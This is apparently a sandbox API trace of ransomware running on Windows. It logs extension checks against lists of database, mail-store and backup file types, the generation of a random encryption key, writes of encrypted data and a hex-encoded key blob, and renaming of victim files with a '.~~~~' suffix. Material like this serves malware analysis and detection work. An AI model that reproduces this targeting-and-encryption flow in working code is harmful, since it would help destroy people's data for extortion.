	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0083.001] lstrlenW (lpString=".edb") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0083.001] lstrlenW (lpString=".PST") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0083.001] lstrlenW (lpString=".dbf") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0083.001] lstrlenW (lpString=".SQL") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0083.001] lstrlenW (lpString=".pst") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0083.001] lstrlenW (lpString=".dbv") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0083.001] lstrlenW (lpString=".SDF") returned 4
	[0083.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0083.002] lstrlenW (lpString=".dtxs") returned 5
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0083.002] lstrlenW (lpString=".db3") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0083.002] lstrlenW (lpString=".OST") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0083.002] lstrlenW (lpString=".dbx") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0083.002] lstrlenW (lpString=".DB3") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0083.002] lstrlenW (lpString=".DAT") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0083.002] lstrlenW (lpString=".VHDX") returned 5
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0083.002] lstrlenW (lpString=".ndf") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0083.002] lstrlenW (lpString=".DB") returned 3
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0083.002] lstrlenW (lpString=".sql") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0083.002] lstrlenW (lpString=".MYD") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0083.002] lstrlenW (lpString=".DBT") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0083.002] lstrlenW (lpString=".ACCDB") returned 6
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0083.002] lstrlenW (lpString=".fdb") returned 4
	[0083.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0083.003] lstrlenW (lpString=".bak") returned 4
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0083.003] lstrlenW (lpString=".myd") returned 4
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0083.003] lstrlenW (lpString=".DTXS") returned 5
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0083.003] lstrlenW (lpString=".ckp") returned 4
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.003] lstrlenW (lpString=".dbt") returned 4
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.003] lstrlenW (lpString=".db") returned 3
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.003] lstrlenW (lpString=".TXT") returned 4
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.003] lstrlenW (lpString=".MDF") returned 4
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.003] lstrlenW (lpString=".bdb") returned 4
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.003] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0083.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.003] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0083.004] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.004] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0083.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x381948
	[0083.005] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20299506925) returned 1
	[0083.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9b51aff0, dwHighDateTime=0x1d60e1e)) 
	[0083.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0083.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0083.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0083.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac890
	[0083.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac890 | out: hHeap=0x300000) returned 1
	[0083.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab0d8
	[0083.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c3c0
	[0083.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab0d8 | out: hHeap=0x300000) returned 1
	[0083.006] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.006] GetLastError () returned 0x0
	[0083.006] GetLastError () returned 0x0
	[0083.006] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.006] GetLastError () returned 0x0
	[0083.006] GetLastError () returned 0x0
	[0083.011] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff457, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.011] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0xba9, lpOverlapped=0x0) returned 1
	[0083.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0083.011] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.011] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.015] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.015] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.015] CloseHandle (hObject=0x118) returned 1
	[0083.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.015] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.~~~~")) returned 1
	[0083.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0083.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0083.016] GetLastError () returned 0x0
	[0083.018] RtlWakeConditionVariable () returned 0x365f70
	[0083.018] GetCurrentThreadId () returned 0x9f4
	[0083.018] GetCurrentThreadId () returned 0x9f4
	[0083.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0083.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0083.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac858 | out: hHeap=0x300000) returned 1
	[0083.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0083.018] lstrlenW (lpString=".scr") returned 4
	[0083.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0083.018] lstrlenW (lpString=".cmd") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0083.019] lstrlenW (lpString=".dll") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0083.019] lstrlenW (lpString=".bat") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0083.019] lstrlenW (lpString=".cpl") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0083.019] lstrlenW (lpString=".sys") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0083.019] lstrlenW (lpString=".msc") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0083.019] lstrlenW (lpString=".com") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0083.019] lstrlenW (lpString=".lnk") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0083.019] lstrlenW (lpString=".msp") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0083.019] lstrlenW (lpString=".pif") returned 4
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0083.019] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0083.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.021] lstrlenW (lpString=".sqb") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0083.021] lstrlenW (lpString=".ost") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0083.021] lstrlenW (lpString=".txt") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0083.021] lstrlenW (lpString=".mdt") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0083.021] lstrlenW (lpString=".BDB") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0083.021] lstrlenW (lpString=".eql") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0083.021] lstrlenW (lpString=".DBF") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0083.021] lstrlenW (lpString=".EQL") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0083.021] lstrlenW (lpString=".FDB") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0083.021] lstrlenW (lpString=".EDB") returned 4
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0083.021] lstrlenW (lpString=".DACPAC") returned 7
	[0083.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0083.021] lstrlenW (lpString=".VHD") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0083.022] lstrlenW (lpString=".DBV") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0083.022] lstrlenW (lpString=".dacpac") returned 7
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0083.022] lstrlenW (lpString=".sdf") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0083.022] lstrlenW (lpString=".accdb") returned 6
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0083.022] lstrlenW (lpString=".DBX") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0083.022] lstrlenW (lpString=".MDT") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0083.022] lstrlenW (lpString=".SQB") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0083.022] lstrlenW (lpString=".vhd") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.022] lstrlenW (lpString=".bac") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.022] lstrlenW (lpString=".mdf") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.022] lstrlenW (lpString=".BAK") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.022] lstrlenW (lpString=".BAC") returned 4
	[0083.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.022] lstrlenW (lpString=".dbs") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.023] lstrlenW (lpString=".vhdx") returned 5
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.023] lstrlenW (lpString=".NDF") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.023] lstrlenW (lpString=".dat") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.023] lstrlenW (lpString=".DBS") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.023] lstrlenW (lpString=".CKP") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.023] lstrlenW (lpString=".edb") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.023] lstrlenW (lpString=".PST") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.023] lstrlenW (lpString=".dbf") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.023] lstrlenW (lpString=".SQL") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.023] lstrlenW (lpString=".pst") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.023] lstrlenW (lpString=".dbv") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.023] lstrlenW (lpString=".SDF") returned 4
	[0083.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.023] lstrlenW (lpString=".dtxs") returned 5
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.024] lstrlenW (lpString=".db3") returned 4
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.024] lstrlenW (lpString=".OST") returned 4
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.024] lstrlenW (lpString=".dbx") returned 4
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.024] lstrlenW (lpString=".DB3") returned 4
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.024] lstrlenW (lpString=".DAT") returned 4
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.024] lstrlenW (lpString=".VHDX") returned 5
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.024] lstrlenW (lpString=".ndf") returned 4
	[0083.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.024] lstrlenW (lpString=".DB") returned 3
